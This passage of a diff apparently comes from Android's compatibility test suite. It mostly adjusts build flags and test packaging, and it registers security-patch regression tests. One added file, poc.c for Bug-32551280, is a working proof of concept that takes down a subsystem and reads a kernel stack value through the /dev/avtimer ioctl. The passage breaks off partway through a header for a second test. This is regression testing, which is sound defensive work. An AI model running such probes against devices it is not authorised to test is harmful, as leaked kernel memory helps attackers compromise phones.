+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
@@ -20,8 +20,6 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
 LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
index 0abc351d..c2bc395 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
@@ -20,8 +20,6 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
 LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index bfdaeda..427d72a 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsSampleHostTestCases
 
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
index 7e7cd91..c69f29f 100644
--- a/hostsidetests/sample/app/Android.mk
+++ b/hostsidetests/sample/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
 
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index 0900f1f..4c20ae3 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
 
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index ffb5add..c6e714e 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
@@ -34,6 +34,12 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.host.security
 
+ifeq ($(HOST_OS),darwin)
+SHAREDLIB_EXT=dylib
+else
+SHAREDLIB_EXT=so
+endif
+
 selinux_plat_seapp_contexts := $(call intermediates-dir-for,ETC,plat_seapp_contexts)/plat_seapp_contexts
 
 selinux_plat_seapp_neverallows := $(call intermediates-dir-for,ETC,plat_seapp_neverallows)/plat_seapp_neverallows
@@ -47,6 +53,9 @@
 LOCAL_JAVA_RESOURCE_FILES := \
     $(HOST_OUT_EXECUTABLES)/checkseapp \
     $(HOST_OUT_EXECUTABLES)/checkfc \
+    $(HOST_OUT_EXECUTABLES)/sepolicy_tests \
+    $(HOST_OUT)/lib64/libsepolwrap.$(SHAREDLIB_EXT) \
+    $(HOST_OUT)/lib64/libc++.$(SHAREDLIB_EXT) \
     $(selinux_plat_seapp_contexts) \
     $(selinux_plat_seapp_neverallows) \
     $(selinux_plat_file_contexts) \
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 7b10600..2dc7938 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -75,6 +75,8 @@
         <!-- Bulletin 2017-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
+        <option name="push" value="Bug-32551280->/data/local/tmp/Bug-32551280" />
+
         <!--__________________-->
         <!-- Bulletin 2017-05 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -87,6 +89,7 @@
         <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
         <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
         <option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
+        <option name="push" value="Bug-35216793->/data/local/tmp/Bug-35216793" />
 
         <!--__________________-->
         <!-- Bulletin 2017-07 -->
@@ -112,6 +115,7 @@
         <option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
         <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
         <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+        <option name="push" value="CVE-2017-9680->/data/local/tmp/CVE-2017-9680" />
 
         <!--__________________-->
         <!-- Bulletin 2017-09 -->
@@ -119,6 +123,7 @@
 
         <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
         <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
+        <option name="push" value="Bug-35644812->/data/local/tmp/Bug-35644812" />
 
         <option name="append-bitness" value="true" />
     </target_preparer>
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/Android.mk b/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
new file mode 100644
index 0000000..620e138
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-32551280
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/poc.c b/hostsidetests/security/securityPatch/Bug-32551280/poc.c
new file mode 100644
index 0000000..5d852c7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-32551280/poc.c
@@ -0,0 +1,89 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAJOR_NUM 100
+
+#define IOCTL_GET_AVTIMER_TICK _IOR(MAJOR_NUM, 0, uint64_t)
+
+static int subsystem_get(void) {
+  int fd, ret;
+  unsigned long buf;
+  char *cmd[3] = {"get", "put", "restart"};
+
+  fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
+  if (fd == -1) {
+    return -1;
+  }
+
+  ret = write(fd, cmd[0], sizeof("get"));
+
+  close(fd);
+
+  return 0;
+}
+
+static int subsystem_put(void) {
+  int fd, ret;
+  unsigned long buf;
+  char *cmd[3] = {"get", "put", "restart"};
+
+  fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
+  if (fd == -1) {
+    return -1;
+  }
+
+  ret = write(fd, cmd[1], sizeof("put"));
+
+  close(fd);
+
+  return 0;
+}
+
+int main(void) {
+  int fd, ret = 0, cmd;
+  unsigned long avtimer_tick = 0;
+
+  fd = open("/dev/avtimer", O_RDWR);
+  if (fd == -1) {
+    return -1;
+  }
+
+  subsystem_put();
+
+  cmd = IOCTL_GET_AVTIMER_TICK;
+  ret = ioctl(fd, cmd, &avtimer_tick);
+
+  printf("[+] get 64 bits kernel stack information: 0x%lx\n", avtimer_tick);
+  printf("[+] restore subsystem\n\n");
+
+  subsystem_get();
+
+  close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
index 701138d..4f0f5ab 100644
--- a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
@@ -26,10 +26,12 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers
+LOCAL_CFLAGS += -Wno-unused-parameter
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
index 8a7b047..04ba297 100644
--- a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-parameter -Wno-missing-field-initializers
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
index 5178058..6cc296b 100644
--- a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
index f1c32e1..f99f649 100644
--- a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts

 

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wno-unused-variable

+LOCAL_CFLAGS += -Wno-literal-conversion -Wno-incompatible-pointer-types-discards-qualifiers

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
index f07cf4e..a895564 100644
--- a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-macro-redefined -Wno-unused-parameter -Wno-unused-variable -Wno-sign-compare
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
index cd8d541..d796661 100644
--- a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
index 0f1a737..fbfce2b 100644
--- a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
@@ -26,10 +26,12 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-sign-compare
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers -Wno-unused-const-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
index ccf6b5e..ac16554 100644
--- a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-macro-redefined -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
index d4c91bb..5a65541 100644
--- a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-macro-redefined -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
index ea9dd89..030cd9c 100644
--- a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-macro-redefined -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
index 8865fa9..8574384 100644
--- a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE -Wno-packed
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/Android.mk b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
new file mode 100644
index 0000000..e5b9e7e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35216793
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
new file mode 100644
index 0000000..c7eaee0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
@@ -0,0 +1,345 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+#include <linux/types.h>
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size)                          \
+  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
